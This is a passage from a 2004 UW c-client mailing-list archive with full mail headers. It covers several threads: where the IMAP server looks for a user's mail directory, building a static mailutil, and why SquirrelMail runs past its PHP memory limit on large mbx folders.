(mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PKgVv2005276 for ; Tue, 25 May 2004 13:42:31 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PKgUeJ018852 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 25 May 2004 13:42:30 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i4PKgANT013362; Tue, 25 May 2004 13:42:10 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PKcNir092884 for ; Tue, 25 May 2004 13:38:23 -0700 Received: from mtl.mit.edu (MTL.MIT.EDU [18.62.0.45]) by mxu4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PKcMCl019876 for ; Tue, 25 May 2004 13:38:22 -0700 Received: from mtl-datadev (MTL-DATADEV.MIT.EDU [18.62.5.160]) by mtl.mit.edu (8.9.3-20030919/8.9.3) with ESMTP id QAA12061 for ; Tue, 25 May 2004 16:38:21 -0400 (EDT) Message-Id: Date: Tue, 25 May 2004 16:38:21 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Thomas J. Lohman" To: c-client@u.washington.edu Subject: hardwiring the IMAP folders directory MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: thomasl@mtl-datadev X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, forgive me if this is in the archives or has a well known basic solution but what I would like to do is have the imap server always look in a fixed location outside the users' home dirs for folders. e.g. UNIX home dir: /homes/ imap folder dir: /mailhome//folders irregardless of what their IMAP client has set for the IMAP folder directory. In addition, I'd like to also have the imap server think their home dir is /mailhome/ instead of what the system says from the passwd information. In our current setup of UNIX machines, users' home dirs are scattered across 50 or so machines and we use 'amd' to make sure no matter what machine the user logs in on they always get the same home dir. In order to support legacy mail readers, I'd like our post office box server (where imap/pop run) to also give the user this home dir if they choose to login directly to it to use a mail client that reads things directly from their INBOX/spool. But what I'd like to avoid is the other 50 or so filesystems all being automounted when users read their mail with pop/imap. It seems that the imap server process looks in this directory for some things which is causing the automount to take place - even if the user has their folder directory set to a separate fixed location such as /mailhome//folders. Currently, our workaround is to give folks a separate home dir on the post office box machine which overrides the information in our NIS database. This works except for the legacy folks. So, I am wondering if there is a more elegant solution within the imap/pop code to deal with this. If not, then I'll know to move to Plan B. :) We're currently testing imap-2004.RC9 and that is the code revision level I am currently looking at. thanks very much, --tom -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue May 25 14:01:52 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 25 May 2004 14:01:52 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PL1p0p005850 for ; Tue, 25 May 2004 14:01:51 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PL1nEw013534 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 25 May 2004 14:01:50 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i4PL1ZYx012894; Tue, 25 May 2004 14:01:35 -0700 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PL0QlU102918 for ; Tue, 25 May 2004 14:00:26 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxu8.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i4PL0PTc016196 for ; Tue, 25 May 2004 14:00:25 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PL0OYC011359; Tue, 25 May 2004 14:00:24 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PL0OBq017392 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 25 May 2004 14:00:24 -0700 Message-Id: Date: Tue, 25 May 2004 14:00:25 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Thomas J. Lohman" Cc: c-client@u.washington.edu Subject: Re: hardwiring the IMAP folders directory In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 25 May 2004, Thomas J. Lohman wrote: > Hi, forgive me if this is in the archives or has a well > known basic solution but what I would like to do is have > the imap server always look in a fixed location outside > the users' home dirs for folders. The answer is the routine mymailboxdir() in env_unix.c, which returns the "home directory" as far as IMAP is concerned. Normally, it returns the string from myhomedir() which is the UNIX home directory. But you can change mymailboxdir() to be anything else you'd like. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue May 25 14:28:08 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 25 May 2004 14:28:08 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PLS7kt007232 for ; Tue, 25 May 2004 14:28:07 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PLS5BJ014634 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 25 May 2004 14:28:06 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i4PLRnIj016194; Tue, 25 May 2004 14:27:49 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PLR7ZY122744 for ; Tue, 25 May 2004 14:27:07 -0700 Received: from hpcaz.hpcaz.com (openadventures.org [69.94.33.142]) by mxu7.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PLR5mA020486 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 25 May 2004 14:27:06 -0700 Received: from hpcaz.com (localhost.localdomain [127.0.0.1]) (authenticated (0 bits)) by hpcaz.hpcaz.com (8.11.6/8.11.6) with ESMTP id i4PLP6M11375; Tue, 25 May 2004 14:25:06 -0700 Received: from 216.161.174.4 (SquirrelMail authenticated user tsmith@hpcaz.com) by www.hpcaz.com with HTTP; Tue, 25 May 2004 14:25:07 -0700 (MST) Message-Id: <32798.216.161.174.4.1085520307.squirrel@www.hpcaz.com> Date: Tue, 25 May 2004 14:25:07 -0700 (MST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Thomas Smith" To: Cc: "UW IMAP" Subject: Re: imap-utils In-Reply-To: References: <18149.207.225.166.210.1085341114.squirrel@www.hpcaz.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME 0.716, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __HAS_X_PRIORITY 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, __HAS_MSGID 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > On Sun, 23 May 2004, Thomas Smith wrote: >> I've looked through the BUILD and CONFIG docs >> and haven't found a way to build a statically linked mailutil--can you >> suggest a way to do this? > > -static is what normally is needed for the Linux linker, so you would do > something like: > make lrh EXTRALDFLAGS=-static This worked perfectly! Thanks. From pinedev@shivax2.cac.washington.edu Tue May 25 14:34:17 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 25 May 2004 14:34:17 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PLYH5e007660 for ; Tue, 25 May 2004 14:34:17 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PLYF15014903 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 25 May 2004 14:34:15 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i4PLXicc016706; Tue, 25 May 2004 14:33:44 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PLWthm049622 for ; Tue, 25 May 2004 14:32:55 -0700 Received: from hpcaz.hpcaz.com (openadventures.org [69.94.33.142]) by mxe1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PLWrxw003053 for ; Tue, 25 May 2004 14:32:54 -0700 Received: from hpcaz.com (localhost.localdomain [127.0.0.1]) (authenticated (0 bits)) by hpcaz.hpcaz.com (8.11.6/8.11.6) with ESMTP id i4PLUwM12071 for ; Tue, 25 May 2004 14:30:58 -0700 Received: from 216.161.174.4 (SquirrelMail authenticated user tsmith@hpcaz.com) by www.hpcaz.com with HTTP; Tue, 25 May 2004 14:30:58 -0700 (MST) Message-Id: <32800.216.161.174.4.1085520658.squirrel@www.hpcaz.com> Date: Tue, 25 May 2004 14:30:58 -0700 (MST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Thomas Smith" To: "UW IMAP" Subject: mbx performance MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME 0.716, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __HAS_X_PRIORITY 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __HAS_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I converted all of my mbox mailboxes to mbx. I've noticed an increase in performance for my web-based IMAP client. However, I continue to have a problem that existed prior to the conversion. As I understand it, mbx is more memory efficient than mbox. This being the case, shouldn't it consume less RAM while a mailbox is being read by an IMAP client? This doesn't seem to be happening in my situation. For example, I use SquirrellMail for webmail. There are system-wide resource restrictions on RAM usage preventing any user from utilizing more than 8 MB of RAM via SquirrellMail. My Sent folder would always exceed this amount when I selected "View All"--there are over 3700 emails stored there. I continue to get the error after the conversion to mbx. Am I missing something or did I misinterprete what I read? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue May 25 15:08:35 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 25 May 2004 15:08:35 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PM8YCN009378 for ; Tue, 25 May 2004 15:08:34 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PM8USD022623 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 25 May 2004 15:08:30 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i4PM7mIT011786; Tue, 25 May 2004 15:07:48 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PM2IGZ024994 for ; Tue, 25 May 2004 15:02:18 -0700 Received: from ensa.cpsc.ucalgary.ca (ensa.cpsc.ucalgary.ca [136.159.2.1]) by mxe3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PM2Hpv010126 for ; Tue, 25 May 2004 15:02:17 -0700 Received: from imgw1.cpsc.ucalgary.ca (imgw1 [136.159.5.9]) by ensa.cpsc.ucalgary.ca (8.12.10/8.12.10) with ESMTP id i4PLxNfJ023881; Tue, 25 May 2004 15:59:23 -0600 (MDT) Received: from ms257a.cpsc.ucalgary.ca (ms257a [136.159.4.248]) by imgw1.cpsc.ucalgary.ca (8.12.10/8.12.10) with ESMTP id i4PLxNpi011118; Tue, 25 May 2004 15:59:23 -0600 Received: (from arlt@localhost) by ms257a.cpsc.ucalgary.ca (8.12.6/8.12.6/Submit) id i4PLxEeE003553; Tue, 25 May 2004 15:59:14 -0600 (MDT) Message-Id: <20040525215914.GA3329@ms257a.cpsc.ucalgary.ca> Date: Tue, 25 May 2004 15:59:14 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Brad Arlt To: Thomas Smith Cc: UW IMAP Subject: Re: mbx performance In-Reply-To: <32800.216.161.174.4.1085520658.squirrel@www.hpcaz.com> References: <32800.216.161.174.4.1085520658.squirrel@www.hpcaz.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Spam-Status: No, hits=2.9 required=6.8 X-Spam-Level: ** X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CD 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, May 25, 2004 at 02:30:58PM -0700, Thomas Smith wrote: > As I understand it, mbx is more memory efficient than mbox. This being the > case, shouldn't it consume less RAM while a mailbox is being read by an > IMAP client? This doesn't seem to be happening in my situation. I'd say it should use more RAM, not less. Speed increases rarely mean memory footprint decreases. > For example, I use SquirrellMail for webmail. There are system-wide > resource restrictions on RAM usage preventing any user from utilizing more > than 8 MB of RAM via SquirrellMail. > > My Sent folder would always exceed this amount when I selected "View > All"--there are over 3700 emails stored there. I continue to get the error > after the conversion to mbx. > > Am I missing something or did I misinterprete what I read? Me thinks you have. PHP has a default memory limit of 8MB. I used to increase this to 16MB, but of late was forced to make it 20MB - after which I have had no complaints. In your php.ini file you will want to change or add a "memory_limit" line to look something like: memory_limit = 20M Your magic number for a memory limit may vary, or you may want to remove the memory limit. ----------------------------------------------------------------------- __o Bradley Arlt Security Team Lead _ \<_ arlt@cpsc.ucalgary.ca University Of Calgary (_)/(_) Las hojas de coca no es droga. Computer Science From pinedev@shivax2.cac.washington.edu Tue May 25 15:08:57 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 25 May 2004 15:08:57 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PM8vew009381 for ; Tue, 25 May 2004 15:08:57 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PM8tgH022630 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 25 May 2004 15:08:55 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i4PM8Wng018364; Tue, 25 May 2004 15:08:32 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PM7ivx024938 for ; Tue, 25 May 2004 15:07:44 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i4PM7hAG023181 for ; Tue, 25 May 2004 15:07:43 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PM7gXY020341; Tue, 25 May 2004 15:07:42 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PM7g4n012525 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 25 May 2004 15:07:42 -0700 Message-Id: Date: Tue, 25 May 2004 15:07:43 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Thomas Smith Cc: UW IMAP Subject: Re: mbx performance In-Reply-To: <32800.216.161.174.4.1085520658.squirrel@www.hpcaz.com> References: <32800.216.161.174.4.1085520658.squirrel@www.hpcaz.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 25 May 2004, Thomas Smith wrote: > As I understand it, mbx is more memory efficient than mbox. mbx is more memory-efficient than mbox, but that's only because there is no need to convert UNIX-style LF-only strings to Internet standard CRLF strings since mbx is native CRLF. With the exception of very large message texts, the resulting memory (and CPU) savings is generally too small to notice. > There are system-wide > resource restrictions on RAM usage preventing any user from utilizing more > than 8 MB of RAM via SquirrellMail. > My Sent folder would always exceed this amount when I selected "View > All"--there are over 3700 emails stored there. I continue to get the error > after the conversion to mbx. In a best case scenario, 8MB means that there is only about 2K of per-message memory for a 3700 message mailbox. Of course, there is no such thing as a best case scenario, since there are more users of memory that per-message memory. You were able to open the mailbox since the basic per-message data (message status, sizes, internal dates) isn't that big. But the "view all" probably did an RFC2822/MIME parse of all 3700 messages, and that amount of data is much more than 8MB. Don't forget, once the IMAP server does an RFC2822/MIME parse, it remembers those results instead of re-doing the parse over and over again. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue May 25 15:11:31 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 25 May 2004 15:11:31 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PMBVUl009517 for ; Tue, 25 May 2004 15:11:31 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PMBTeB016563 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 25 May 2004 15:11:29 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i4PMBBno015424; Tue, 25 May 2004 15:11:11 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PMAhb6097482 for ; Tue, 25 May 2004 15:10:43 -0700 Received: from mail.standardbeverage.com (mail.stdbev.com [63.161.72.3]) by mxu4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PMAfdN013178 for ; Tue, 25 May 2004 15:10:42 -0700 Received: (qmail 28293 invoked by uid 1009); 25 May 2004 22:16:03 -0000 Received: from Jason.Munro@stdbev.com by mail by uid 1002 with qmail-scanner-1.20rc3 (uvscan: v4.3.20/v4362. Clear:RC:1:. Processed in 0.013332 secs); 25 May 2004 22:16:03 -0000 Received: from unknown (HELO mail.stdbev.com) ([127.0.0.1]) (envelope-sender ) by 0 (qmail-ldap-1.03) with SMTP for ; 25 May 2004 22:16:03 -0000 Message-Id: Date: Tue, 25 May 2004 17:16:03 -0500 Reply-To: Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jason Munro" To: c-client@u.washington.edu Subject: Re: mbx performance In-Reply-To: <32800.216.161.174.4.1085520658.squirrel@www.hpcaz.com> References: <32800.216.161.174.4.1085520658.squirrel@www.hpcaz.com> MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 4:30:58 pm 05/25/04 "Thomas Smith" wrote: > I converted all of my mbox mailboxes to mbx. I've noticed an increase > in performance for my web-based IMAP client. However, I continue to > have a problem that existed prior to the conversion. > > As I understand it, mbx is more memory efficient than mbox. This > being the case, shouldn't it consume less RAM while a mailbox is > being read by an IMAP client? This doesn't seem to be happening in my > situation. > For example, I use SquirrellMail for webmail. There are system-wide > resource restrictions on RAM usage preventing any user from utilizing > more than 8 MB of RAM via SquirrellMail. > > My Sent folder would always exceed this amount when I selected "View > All"--there are over 3700 emails stored there. I continue to get the > error after the conversion to mbx. > > Am I missing something or did I misinterprete what I read? The 8MB restriction in squirrelmail is the PHP limit for script execution (php.ini setting). In the case of "show all" on 3700 messages squirrelmail is building a header list in memory of all messages, which combined with the other memory requirements of squirrelmail, pops the limit. Remember that in this case the IMAP client does not care what kind of mailbox the IMAP server uses, it uses the same commands to retrieve information. A mailbox type with a zero memory footprint (in terms of the IMAP server memory usage) would still not alter the amount of memory the PHP script needs to store the fetched header values. I recommended to the squirrelmail developers not so long ago that they remove the "show all" links when the IMAP folder is over 500 messages, specificly to address this type of issue. \__ Jason Munro \__ jason@stdbev.com \__ http://hastymail.sourceforge.net/ From pinedev@shivax2.cac.washington.edu Tue May 25 15:12:49 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 25 May 2004 15:12:49 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PMCnD6009558 for ; Tue, 25 May 2004 15:12:49 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PMClTP022765 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 25 May 2004 15:12:47 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i4PMCD4o013954; Tue, 25 May 2004 15:12:14 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PMBmKT024978 for ; Tue, 25 May 2004 15:11:48 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i4PMBl4Z024428 for ; Tue, 25 May 2004 15:11:47 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PMBkg5026637; Tue, 25 May 2004 15:11:46 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PMBkT9013097 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 25 May 2004 15:11:46 -0700 Message-Id: Date: Tue, 25 May 2004 15:11:47 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Brad Arlt Cc: Thomas Smith , UW IMAP Subject: Re: mbx performance In-Reply-To: <20040525215914.GA3329@ms257a.cpsc.ucalgary.ca> References: <32800.216.161.174.4.1085520658.squirrel@www.hpcaz.com> <20040525215914.GA3329@ms257a.cpsc.ucalgary.ca> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 25 May 2004, Brad Arlt wrote: > I'd say it should use more RAM, not less. Speed increases rarely mean > memory footprint decreases. Actually, in the case of traditional UNIX -> mbx there is a modest memory improvement as well as a speed gain. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue May 25 21:03:26 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 25 May 2004 21:03:26 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu 